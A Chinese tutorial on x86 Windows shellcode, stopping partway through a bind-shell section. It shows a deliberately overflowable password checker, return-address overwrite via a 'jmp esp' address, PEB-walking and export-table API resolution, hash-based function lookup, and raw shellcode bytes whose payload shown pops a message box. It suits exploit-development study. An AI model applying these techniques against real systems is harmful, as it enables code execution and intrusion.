逆向基础-shellCode

shellcode

造成软件漏洞的原因:
本质原因是因为人类目前还没有在原点上区分数据与代码,说白了就是目前人们还没理解编写安全代码的真正方法。

如何预防?
通过修改自身代码,公共库函数的安全性降低漏洞出现的频率,并且通过操作系统干预,使得漏洞攻击变得难以实现。

软件漏洞常见的名词:
Vulnerability 漏洞,计算机安全隐患
Exploit 漏洞利用
Shellcode 壳代码
Payload 有效荷载,payload是shellcode的一部分,shellcode的执行往往就是为了给payload代码开辟道路,说白了就是真正干坏事的代码。


#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <iostream>

int checkPassword(const char* password) {
	int result = 1;
	char buff[7]{};
	result = strcmp(password, "51hook");
	strcpy(buff, password);
	return result;
}

int main() {
	int falg = 0;
	char password[0x500];
	while (1) {
		printf("请输入密码\n");
		int result = scanf("%s",password);
		falg = checkPassword(password);
		if (falg) {
			MessageBoxA(0, "密码错误", "提示", MB_OK);
		}else {
			MessageBoxA(0, "密码正确", "提示", MB_OK);
			break;
		}
	}
	return 0;
}

helloShellcode

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <iostream>

int checkPassword(const char* password) {
	int result = 1;
	char buff[7]{};
	result = strcmp(password, "51hook");
	strcpy(buff, password);
	return result;
}

int main() {
	int flag = 0;
	char password[0x500] = { 0 };
	char buff[0x100] = { 0 };
	FILE* fp;
	if (NULL == (fp = fopen("password.txt", "rb"))) {
		return 0;
	}
	fread(password, sizeof(password), 1, fp);
	flag = checkPassword(password);
	if (flag) {
		MessageBoxA(NULL, "密码错误!", "提示", MB_OK);
	}else {
		MessageBoxA(NULL, "密码正确!", "提示", MB_OK);
	}
	fclose(fp);
	system("pause");
	return 0;
}

返回地址
004010F5

所谓的shellcode其实就是淹没到eip,让eip为我们想要的eip,即让程序去到我们的代码执行。

实现51hoook的shellcode总部后:
1.将ebp+4即EIP的值改为我们编写的代码所在的位置
2.编写shellcode
难点1:字符串的添加
难点2:MessageBoxA地址。
难点3:获取当前的EIP的值

77130BA0 MessageBoxA地址
771930EF jmp esp地址

"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xB8\xA0\x0B\x13\x77\xFF\xD0"

填加了51hook
"\x68\x6F\x6B\x00\x00\x68\x35\x31\x68\x6F\x8B\xC4\x6A\x00\x6A\x00\x50\x6A\x00\xB8\xA0\x0B\x13\x77\xFF\xD0"

ExitProcess 0x76374100

#include <Windows.h>
#include <iostream>

void __declspec(naked) shellcode() {
	__asm {
		// 5	1	h	o	o	k
		// 0x35 0x31 0x68 0x6F 0x6F 0x6B
		push 0x6B6F;
		push 0x6F683135;
		mov eax,esp; // 指向字符串的首地址
		// 避免直接写0 会截断字符串
		xor edi, edi;
		push edi;
		push edi;
		push eax;
		push edi;
		mov eax, 0x77130BA0;
		call eax;
		mov eax, 0x76374100;
		push edi;
		call eax;
	};
}

int main() {
	LoadLibraryA("user32.dll");
	printf("hello 51hook\n");
	shellcode();
	return 0;
}
"\x68\x6F\x6B\x00\x00\x68\x35\x31\x68\x6F\x8B\xC4\x33\xFF\x57\x57\x50\x57\xB8\xA0\x0B\x13\x77\xFF\xD0\xB8\x00\x41\x37\x76\x57\xFF\xD0"

TEB,PEB

知识补充:
Kernel32.dll user32.dll ntdll.dll
所有进程无论是窗口进程还是控制台进程,都会引用kernel32.dll
user32.dll窗口程序专用,封装了所有跟窗口操作相关的api
ntdll.dll,他是ring0的大门,无论是kernel32还是user32最终都会去调用ntdll.dll


1.TEB
线程环境块,说白了就是一个结构体,该结构体中保存了线程中的各种信息
typedef struct _TEB {
		+0x00 :_NT_TIB  NtTib;
		+0x30:_PEB* PPEB  ;
	} TEB, * PTEB;

NtTib:线程信息块
typedef struct _NT_TIB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    union {
        PVOID FiberData;
        DWORD Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;
} NT_TIB;

TEB的访问:
实验:分析API NtCurrentTab();

 struct _PEB {
		+0x00c :_PEB_LDR_DATA*  Ldr;
		
	} 
 struct _PEB_LDR_DATA {
		+0x000 :Uint  length;
		+0x004 :Uchar  initialized;
    +0x008 :LVOID SsHandle;
    +0x00c :_LIST_ENTRY InloadOrderMoudleList;//载入顺序排序的dll
    +0x014 :_LIST_ENTRY InMemoryOrderMoudleList;//内存排序的DLL
    +0x01c :_LIST_ENTRY InitalizationOrderMoudleList;//初始化排序的 ntdll kernel32.dll或者kernerbase.dll 
。。。。 
	} 
当dll文件加载后会ldr会存放模块信息。通过_LIST_ENTRY 双向链表可以遍历所有模块。
 struct _LIST_ENTRY {
		_LIST_ENTRY *Flink;//下一个结构体指针
    _LIST_ENTRY *Blink;//上一个机构体指针
	} 
  
fs:[0x18]是TIB中的self指针,指向自己,即TIB的起始位置
然后TIB又位于TEB的首地址
那么fs就是TEB的首地址
那么fs:[0x30]就是PEB的首地址

mov esi,fs:[0x30] // 拿到PEB的地址
mov esi,[esi + 0xc] // 拿到ldr的地址
mov esi,[esi + 0x1c] // 拿到初始化的dll kernel32.dll kernelbase.dll
// 拿到下面初始化的LIST_ENTRY 两个指针八个字节然后就到dllBase了
// 第一个是ntdll 第二个是kernel32或者kernelbase 第三个是user32
mov esi,[esi] // 拿到Flink 即第二个dll文件信息
mov esi,[esi + 0x8]

	typedef struct _LDR_DATA_TABLE_ENTRY
	{
		LIST_ENTRY InLoadOrderMoudleList;
		LIST_ENTRY InMemoryOrderMoudleList;
		LIST_ENTRY InInitializationOrderMoudleList;
    PVOID DllBase;//模块基址 GetMdouleHanlde  找到导出表 kernel32.dll “LoadLibraryA” “GetProcAdrress”
    PVOID EntryPoint;
    PVOID SizeOfImage;
    PVOID FullDllName;
    .....
	}
  
  

优化shellcode

1、保存相关字符串
user32.dll、LoadLibraryA、GetProcAddress、MessageBoxA、hello 51hook
2、通过fs寄存器获取kernel32.dll基址
Mov esi,fs:[0x30]//PEB
Mov esi,[esi+0xc]//LDR结构体地址
Mov esi,[esi+0x1c]//list
Mov esi,[esi]//list第二项
Mov ecx,[esi,+0x8]//kernel32.dll基址
3、获取导出表 根据导出表查找需要的函数
MyGetProcAddress(imageBase,funName,strlen)
ImageBase+0x3C=NT头
NT头+0x78=dataDirectory第一项 导出表
EAT=导出表+0x1c 导入地址表
ENT=导出表+0X20 导入名称表
EOT=导出表+0x24 导入序号表
4、字符串比较函数
Repe cmpsb 字符比较,edi 与esi地址的值按字节进行比较,ecx为0或者比较结果不相同时候停止DF循环。循环结束后将设置ZF标志位
5、payload函数:(stradd)
通过调用以上各个功能实现输出hello51hook

//LoadLibraryA 4C 6F 61 64 4C 69 62 72 61 72 79 41    00        长度:0xD
//GetProcAddress 47 65 74 50 72 6F 63 41 64 64 72 65   73 73  00     长度:0xF
//user32.dll 75 73 65 72 33 32 2E 64   6C 6C 00             长度:0xB
//MeesageBoxA 4D 65 73 73 61 67 65 42     6F 78 41 00      长度:0xC
//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B   00     长度:0xD

#include <Windows.h>
#include <iostream>

void __declspec(naked) shellCode() {
	__asm {
		//LoadLibraryA   4C 6F 61 64 4C 69 62 72 61 72 79 41 00            长度:0xD
		//GetProcAddress 47 65 74 50 72 6F 63 41 64 64 72 65 73 73  00     长度:0xF
		//user32.dll     75 73 65 72 33 32 2E 64 6C 6C 00                  长度:0xB
		//MeesageBoxA    4D 65 73 73 61 67 65 42 6F 78 41 00               长度:0xC
		//hello 51hook   68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00            长度:0xD
		
		pushad;// 保存所有的寄存器
		sub esp, 0x30; // 提升栈顶
		// 因为push是四个字节的操作,就算是使用16位的寄存器也要两个字节,我们要节省空间
		// 1、保存相关字符串
		// hello 51hook
		mov byte ptr [esp - 1], 0x0;
		sub esp, 0x1; // 这样就完成了一个字节的入栈操作
		push 0x6B6F6F68;
		push 0x3135206F;
		push 0x6c6c6568;
		// MeesageBoxA
		push 0x0041786F;
		push 0x42656761;
		push 0x7373654D;
		// user32.dll
		mov byte ptr [esp - 1], 0x0;
		sub esp, 0x1;
		mov ax, 0x6C6C;
		mov word ptr [esp - 2], ax;
		sub esp, 0x2;
		push 0x642E3233;
		push 0x72657375;
		// GetProcAddress
		mov byte ptr ds:[esp - 1],0x0;
		sub esp, 0x1;
		mov ax, 0x7373;
		mov word ptr ds:[esp - 2],ax;
		sub esp, 0x2;
		push 0x65726464;
		push 0x41636F72;
		push 0x50746547;
		// LoadLibraryA 
		mov byte ptr ds:[esp-1] , 0x0;
		sub esp, 0x1;
		push 0x41797261;
		push 0x7262694C;
		push 0x64616F4C;

		mov ecx, esp;
		push ecx; // 字符串首地址
		call fun_payload;
		// popad; // 还原寄存器环境

		// 2、通过fs寄存器获取kernel32.dll基址
	fun_GetModule:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底到当前栈顶
		sub esp, 0xC; // 提升栈顶
		push esi; // 保存要用到的寄存器

		mov esi, dword ptr fs: [0x30]; // 拿到PEB
		mov esi, [esi + 0xC];  // 拿到ldr
		mov esi, [esi + 0x1C]; // 拿到ntdll LIST_ENTRY
		mov esi, [esi]; // 获取双向链表中的下一项 即kernel32 kernelbase.dll
		mov esi, [esi + 0x8]; // 这样就拿到了模块基础地址ImageBase
		mov eax, esi; // 保存返回值
	
		pop esi; // 还原寄存器环境
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn; // pop eip 

		// 3、获取导出表 根据导出表查找需要的函数 传入ImageBase funName 和 strlen
	fun_GetProcAddr:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底到当前栈顶
		sub esp, 0x20; // 提升栈顶
		push ecx; // 保存可能用到的寄存器环境
		push edx;
		push esi;
		push edi;

		mov edx, [ebp + 0x8]; // edx = ImageBase = DllBase 模块基址
		mov esi, [edx + 0x3C]; // lf_anew 距离pe文件的偏移
		lea esi, [edx + esi]; // 获取Nt头即Pe头的地址
		mov esi, [esi + 0x78]; // 导出表的Rva
		lea esi, [esi + edx]; // Rva + dllBase = 真正的导出表的地址
		mov edi, [esi + 0x1C]; // EAT 导出地址表的Rva
		lea edi, [edi + edx]; // 真正的导出表地址
		mov [ebp - 0x4], edi; // 第一个局部变量保存导出地址表的地址
		mov edi, [esi + 0x20]; // ENT 导出名称表的Rva
		lea edi, [edi + edx]; // 真正导出表的地址
		mov [ebp - 0x8], edi; // 第二个局部变量保存导出名称表的地址
		mov edi, [esi + 0x24]; // ROT 导出序号表的Rva
		lea edi, [edi + edx]; // 真正的导出序号表的地址
		mov [ebp - 0xC], edi; // 第三个局部变量是导出序号表的地址
		// 第一个局部变量导出地址表 第二个导出名称表 第三个导出序号表 edx模块基址 
		
		cld; // 设置df寄存器为0 递增方向
		xor eax, eax; // 循环变量
		jmp tag_begincmp; // 开始比较 刚开始不需要自增

	tag_cmpLoop:
		inc eax; // 循环变量自增操作
	tag_begincmp:
		// 循环比较,找到我们要的函数的地址
		mov esi, [ebp - 0x8]; // 我们的导出名称表地址
		mov esi, [esi + eax * 4]; // 取的表的每一项名称RVA
		mov edx, [ebp + 0x8]; //dllbase
		lea esi, [esi + edx]; // 加上偏移 拿到真正的名称位置
		mov edi, [ebp + 0xC]; // 我们的函数参数 函数名称
		mov ecx, [ebp + 0x10]; // 第三个函数参数就是我们的字符串长度
		repe cmpsb; // 循环比较
		jne tag_cmpLoop; // 不相等继续比较

		// 如果相等的话,eax是数组索引,导出序号表的索引跟导出名称表是一一对应的
		mov esi, [ebp - 0xC]; // 取出EOT的地址
		xor edi, edi;
		mov di,  [esi + eax * 2]; // 取出来导出序号表中对应的项中的值 就是导出地址表的索引
		mov ebx, [ebp - 0x4]; // 取出EAT的地址
		mov ebx, [ebx + edi * 4]; // 取出真正的地址 rva
		mov edx, [ebp + 0x8]; // dllbase
		lea eax, [edx + ebx]; // dllbase + 函数地址的rva = 真正的函数地址 eax = 返回值

		pop edi; // 还原用到的寄存器环境
		pop esi;
		pop edx;
		pop ecx;
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn 0xC; // pop eip + 堆栈内平衡

		// 我们真正干坏事的代码
	fun_payload:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底
		sub esp, 0x20; // 提升栈顶
		push esi; // 保存要用到的寄存器环境
		push edi;
		push edx;
		push ebx;
		push ecx;

		// 1.先拿到我们的dllBase
		call fun_GetModule; // 这样就拿到了kernel32或者kernelbase的地址
		mov [ebp - 0x4], eax;  // 第一个局部变量 = imageBase = dllBase
		// 2.获取LoadLibraryA
		push 0xD; // LoadLibraryA的字符串长度
		mov ecx, [ebp + 0x8]; // 获取字符串的首地址 刚好是LoadLibraryA
		push ecx; // LoadLibraryA的字符串首地址
		push [ebp - 0x4]; // 传入dllBase
		call fun_GetProcAddr; // 获取函数的地址
		mov [ebp - 0x8], eax; // 第二个局部变量 = LoadLibraryA
		// 3.获取GetProcAddress
		push 0xF; // GetProcAddress的字符串长度
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0xD]; // GetProcAddress的字符串首地址
		push ecx;  // GetProcAddress的字符串首地址
		push [ebp - 0x4]; // 传入dllBase
		call fun_GetProcAddr; // 获取函数的地址
		mov [ebp - 0xC], eax; // 第三个局部变量 = GetProcAddress
		// 4.加载user32.dll
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0x1C]; // user32.dll的字符串首地址
		push ecx;  // user32.dll的字符串首地址
		call [ebp - 0x8]; // 调用LoadLibraryA
		mov [ebp - 0x10], eax;// 第四个局部变量 = user32.dll
		// 5.调用GetProcAddress获取MessageBoxA的地址
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0x27];
		push ecx; // MessageBoxA的字符串地址
		push [ebp - 0x10]; // user32.dll的地址
		call [ebp - 0xC];//call GetProcessAddr
		// 6.调用MessageBoxA
		push 0;
		push 0;
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0x33]; 
		push ecx; // hello 51hook
		push 0;
		call eax; // 调用MessageBoxA

		pop ecx; // 还原用到的寄存器环境
		pop ebx;
		pop edx;
		pop edi;
		pop esi;
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn 0x4; // pop eip + 堆栈内平衡
	};
}
int main() {
	printf("hello 51hook");
	shellCode();
	return 0;
}

"\x60\x83\xEC\x30\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8F\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x51\x52\x56\x57\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x16\x8B\x7E\x1C\x8D\x3C\x17\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x17\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x17\x89\x7D\xF4\xFC\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x16\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xE9\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x5D\xFC\x8B\x1C\xBB\x8B\x55\x08\x8D\x04\x1A\x5F\x5E\x5A\x59\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x61\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\xFF\x75\xFC\xE8\x70\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8B\x4D\x08\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x5C\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\xD0\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00"

调试shellcode

#include <Windows.h>
#include <iostream>

char shellocde[] = "\x60\x83\xEC\x30\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8F\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x51\x52\x56\x57\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x16\x8B\x7E\x1C\x8D\x3C\x17\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x17\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x17\x89\x7D\xF4\xFC\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x16\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xE9\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x5D\xFC\x8B\x1C\xBB\x8B\x55\x08\x8D\x04\x1A\x5F\x5E\x5A\x59\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x61\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\xFF\x75\xFC\xE8\x70\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8B\x4D\x08\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x5C\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\xD0\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00";

int main() {
	printf("hello 51hook");
	_asm {
		lea eax,shellocde;
		push eax; // 拿到shellcode的地址push 进去,那么当前的esp就指向我们的shellcode
		retn; // retn 这里就相当于pop eip  eip = esp 即shellcode的地址
	};
	return 0;
}

如何定位溢出点
Fuzz(模糊测试)
A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7C8C9D0D1D2D3D4D5D6D7D8D9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H1H2H3H4H5H6H7H8H9I0I1I2I3I4I5I6I7I8I9J0J1J2J3J4J5J6J7J8J9K0K1K2K3K4K5K6K7K8K9

771930EF jmp esp地址

Shellcode瘦身

1.瘦身前提:在很多攻击环境下,对于我们的shellcode的大小是有严格的限制的,我们实现一个hello51hook使用了以下的字符串
LoadLibraryA  
GetProcAddress
user32.dll    
MeesageBoxA   
hello 51hook  

2、使用Hash算法对我们使用的字符串进行编码。

DWORD getHashCode(char *strname)
{
	DWORD digest = 0;
	while (*strname)
	{
		digest = (digest<<25 | digest>>7);
		digest = digest + *strname;
		strname++;
	}
	return digest;   
}

#include <Windows.h>
#include <iostream>

DWORD getHashCode(char* strname)
{
	DWORD digest = 0;
	while (*strname)
	{
		digest = (digest << 25 | digest >> 7);
		digest = digest + *strname;
		strname++;
	}
	return digest;
}

void __declspec(naked) asmHashCode() {
	__asm {
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底
		sub esp, 0x4; // 提升栈顶
		push ecx; // 保存要用到的寄存器环境
		push edx;
		push ebx;
		push edi;
		push esi;

		mov dword ptr [ebp - 0x4], 0x0; // 定义局部变量 digest = 0
		xor ecx, ecx; // 循环变量
		mov esi, [ebp + 0x8]; // 我们的字符串参数

	tag_hashLoop:
		xor eax, eax; // 清空eax
		mov al, byte ptr [esi + ecx];  // 取出字符串当前字节
		test al,al; // 判断al是否为0
		jz tag_end;

		// 循环
		mov ebx, dword ptr [ebp - 0x4];
		shl ebx, 0x19; // 左移25位
		mov edx, dword ptr [ebp - 0x4];
		shr edx, 0x7; // 右移7位
		or ebx, edx; // 或运算
		add ebx, eax; // 然后相加字符串
		mov dword ptr[ebp - 0x4], ebx; // 然后把结果写回去
		inc ecx; // ecx++
		jmp tag_hashLoop;
	tag_end:
		mov eax, dword ptr[ebp - 0x4]; // 保存返回值
		pop esi; // 还原寄存器环境
		pop edi;
		pop ebx;
		pop edx;
		pop ecx;
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn 0x4; // pop eip + 内堆栈平衡
	};
}

char strname[] = "heheheh";

int main() {
	__asm {
		lea eax,strname;
		push eax;
		call asmHashCode;
	};
	DWORD result = getHashCode(strname);
	return 0;
}

bindShellcode准备

#include <Windows.h>
#include <iostream>

void __declspec(naked) shellCode() {
	__asm {
		// user32.dll 75 73 65 72 33 32 2E 64   6C 6C 00             长度:0xB
		// hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B   00     长度:0xD
		// kernel32.dll 6B 65 72 6E  65 6C 33 32  2E 64 6C 6C 00
		// ExitProcess 0x4FD18963
		// LoadLibraryA:0XC917432
		// GetProcAddress:0XBBAFDF85
		// MessageBoxA:0x1E380A6A
		
		pushad;// 保存所有的寄存器
		sub esp, 0x30; // 提升栈顶
		// 因为push是四个字节的操作,就算是使用16位的寄存器也要两个字节,我们要节省空间
		// 1、保存相关字符串
		//kenerl32.dll
		mov byte ptr ds:[esp - 1],0x0;
		sub esp, 0x1;
		push 0x6C6C642E;
		push 0x32336C65;
		push 0x6E72656B;
		// hello 51hook
		mov byte ptr [esp - 1], 0x0;
		sub esp, 0x1; // 这样就完成了一个字节的入栈操作
		push 0x6B6F6F68;
		push 0x3135206F;
		push 0x6c6c6568;
		// user32.dll
		mov byte ptr [esp - 1], 0x0;
		sub esp, 0x1;
		mov ax, 0x6C6C;
		mov word ptr [esp - 2], ax;
		sub esp, 0x2;
		push 0x642E3233;
		push 0x72657375;

		mov ecx, esp;
		push ecx; // 字符串首地址
		call fun_payload;
		// popad; // 还原寄存器环境

		// 2、通过fs寄存器获取kernel32.dll基址
	fun_GetModule:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底到当前栈顶
		sub esp, 0xC; // 提升栈顶
		push esi; // 保存要用到的寄存器

		mov esi, dword ptr fs: [0x30]; // 拿到PEB
		mov esi, [esi + 0xC];  // 拿到ldr
		mov esi, [esi + 0x1C]; // 拿到ntdll LIST_ENTRY
		mov esi, [esi]; // 获取双向链表中的下一项 即kernel32 kernelbase.dll
		mov esi, [esi + 0x8]; // 这样就拿到了模块基础地址ImageBase
		mov eax, esi; // 保存返回值
	
		pop esi; // 还原寄存器环境
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn; // pop eip 

		// 3、获取导出表 根据导出表查找需要的函数 传入ImageBase funHash
	fun_GetProcAddr:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底到当前栈顶
		sub esp, 0x20; // 提升栈顶
		push ecx; // 保存可能用到的寄存器环境
		push edx;
		push esi;
		push edi;

		mov edx, [ebp + 0x8]; // edx = ImageBase = DllBase 模块基址
		mov esi, [edx + 0x3C]; // lf_anew 距离pe文件的偏移
		lea esi, [edx + esi]; // 获取Nt头即Pe头的地址
		mov esi, [esi + 0x78]; // 导出表的Rva
		lea esi, [esi + edx]; // Rva + dllBase = 真正的导出表的地址
		mov edi, [esi + 0x1C]; // EAT 导出地址表的Rva
		lea edi, [edi + edx]; // 真正的导出表地址
		mov [ebp - 0x4], edi; // 第一个局部变量保存导出地址表的地址
		mov edi, [esi + 0x20]; // ENT 导出名称表的Rva
		lea edi, [edi + edx]; // 真正导出表的地址
		mov [ebp - 0x8], edi; // 第二个局部变量保存导出名称表的地址
		mov edi, [esi + 0x24]; // ROT 导出序号表的Rva
		lea edi, [edi + edx]; // 真正的导出序号表的地址
		mov [ebp - 0xC], edi; // 第三个局部变量是导出序号表的地址
		// 第一个局部变量导出地址表 第二个导出名称表 第三个导出序号表 edx模块基址 
		
		cld; // 设置df寄存器为0 递增方向
		xor eax, eax;
		xor ebx, ebx; // 循环变量
		jmp tag_begincmp; // 开始比较 刚开始不需要自增

	tag_cmpLoop:
		inc ebx; // 循环变量自增操作
	tag_begincmp:
		// 循环比较,找到我们要的函数的地址
		mov esi, [ebp - 0x8]; // 我们的导出名称表地址
		mov esi, [esi + ebx * 4]; // 取的表的每一项名称RVA
		mov edx, [ebp + 0x8]; //dllbase
		lea esi, [esi + edx]; // 加上偏移 拿到真正的名称位置
		mov edi, [ebp + 0xC]; // 我们的函数参数 函数名称
		
		push esi; // 传参
		call fun_GetHashCode; // 获取ENT函数的hash值
		cmp edi,eax;
		jne tag_cmpLoop; // 不相等继续比较

		// 如果相等的话,eax是数组索引,导出序号表的索引跟导出名称表是一一对应的
		mov esi, [ebp - 0xC]; // 取出EOT的地址
		xor edi, edi;
		mov di,  [esi + ebx * 2]; // 取出来导出序号表中对应的项中的值 就是导出地址表的索引
		mov ebx, [ebp - 0x4]; // 取出EAT的地址
		mov ebx, [ebx + edi * 4]; // 取出真正的地址 rva
		mov edx, [ebp + 0x8]; // dllbase
		lea eax, [edx + ebx]; // dllbase + 函数地址的rva = 真正的函数地址 eax = 返回值

		pop edi; // 还原用到的寄存器环境
		pop esi;
		pop edx;
		pop ecx;
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn 0x8; // pop eip + 堆栈内平衡

	fun_GetHashCode:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底
		sub esp, 0x4; // 提升栈顶
		push ecx; // 保存要用到的寄存器环境
		push edx;
		push ebx;
		push edi;
		push esi;

		mov dword ptr[ebp - 0x4], 0x0; // 定义局部变量 digest = 0
		xor ecx, ecx; // 循环变量
		mov esi, [ebp + 0x8]; // 我们的字符串参数

	tag_hashLoop:
		xor eax, eax; // 清空eax
		mov al, byte ptr[esi + ecx];  // 取出字符串当前字节
		test al, al; // 判断al是否为0
		jz tag_end;

		// 循环
		mov ebx, dword ptr[ebp - 0x4];
		shl ebx, 0x19; // 左移25位
		mov edx, dword ptr[ebp - 0x4];
		shr edx, 0x7; // 右移7位
		or ebx, edx; // 或运算
		add ebx, eax; // 然后相加字符串
		mov dword ptr[ebp - 0x4], ebx; // 然后把结果写回去
		inc ecx; // ecx++
		jmp tag_hashLoop;
	tag_end:
		mov eax, dword ptr[ebp - 0x4]; // 保存返回值
		pop esi; // 还原寄存器环境
		pop edi;
		pop ebx;
		pop edx;
		pop ecx;
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn 0x4; // pop eip + 内堆栈平衡

		// 我们真正干坏事的代码
	fun_payload:
		push ebp; // 保存栈底
		mov ebp, esp; // 提升栈底
		sub esp, 0x20; // 提升栈顶
		push esi; // 保存要用到的寄存器环境
		push edi;
		push edx;
		push ebx;
		push ecx;

		// 1.先拿到我们的dllBase
		call fun_GetModule; // 这样就拿到了kernel32或者kernelbase的地址
		mov [ebp - 0x4], eax;  // 第一个局部变量 = imageBase = dllBase
		// user32.dll 75 73 65 72 33 32 2E 64   6C 6C 00             长度:0xB
		// hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B   00     长度:0xD
		// kernel32.dll 6B 65 72 6E  65 6C 33 32  2E 64 6C 6C 00
		// ExitProcess 0x4FD18963
		// LoadLibraryA:0XC917432
		// GetProcAddress:0XBBAFDF85
		// MessageBoxA:0x1E380A6A
		// 2.获取LoadLibraryA
		push 0XC917432; // 现在fun_GetProcAddr里面是通过哈希值匹配的
		push [ebp - 0x4]; // 传入dllBase
		call fun_GetProcAddr; // 获取函数的地址
		mov [ebp - 0x8], eax; // 第二个局部变量 = LoadLibraryA
